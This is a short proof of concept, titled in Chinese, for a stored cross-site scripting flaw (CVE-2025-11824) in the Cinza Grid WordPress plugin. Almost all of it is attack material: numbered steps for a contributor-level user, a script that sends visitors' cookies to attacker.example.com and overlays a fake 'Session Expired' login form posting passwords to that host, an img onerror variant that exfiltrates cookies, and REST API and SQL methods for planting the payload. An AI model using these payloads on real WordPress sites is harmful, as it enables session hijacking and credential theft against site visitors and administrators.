CVE-2025-11824：WordPress Cinza Grid插件存储型XSS漏洞

<!-- CVE-2025-11824 PoC - Stored XSS in WordPress Cinza Grid Plugin Vulnerable endpoint: cgrid_skin_content post meta field Required privilege: Contributor or above --> // Step 1: Authenticate as a Contributor-level user // Step 2: Create or edit a post and inject malicious payload via the Cinza Grid skin content field // Step 3: The payload will be stored in wp_postmeta table // Step 4: When any user visits the page containing the grid, the XSS executes // Malicious payload to inject into 'cgrid_skin_content' field: <script> // Steal cookies and send to attacker server var img = new Image(); img.src = 'https://attacker.example.com/steal?cookie=' + encodeURIComponent(document.cookie); // Create a fake admin login form to phish credentials var div = document.createElement('div'); div.innerHTML = '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;"><h2>Session Expired</h2><form action="https://attacker.example.com/phish" method="POST"><input name="user_login" placeholder="Username"/><input name="user_pass" type="password" placeholder="Password"/><button>Login</button></form></div>'; document.body.appendChild(div); </script> // Alternative payload using event handlers: <img src=x onerror="fetch('https://attacker.example.com/log?data='+btoa(document.cookie))"> // WordPress REST API exploit example (if API access is available): // POST /wp-json/wp/v2/posts/<post_id> // Body: { "meta": { "cgrid_skin_content": "<script>alert(document.cookie)</script>" } } // wp-cli or direct database manipulation: // UPDATE wp_postmeta SET meta_value = '<script>...</script>' WHERE meta_key = 'cgrid_skin_content';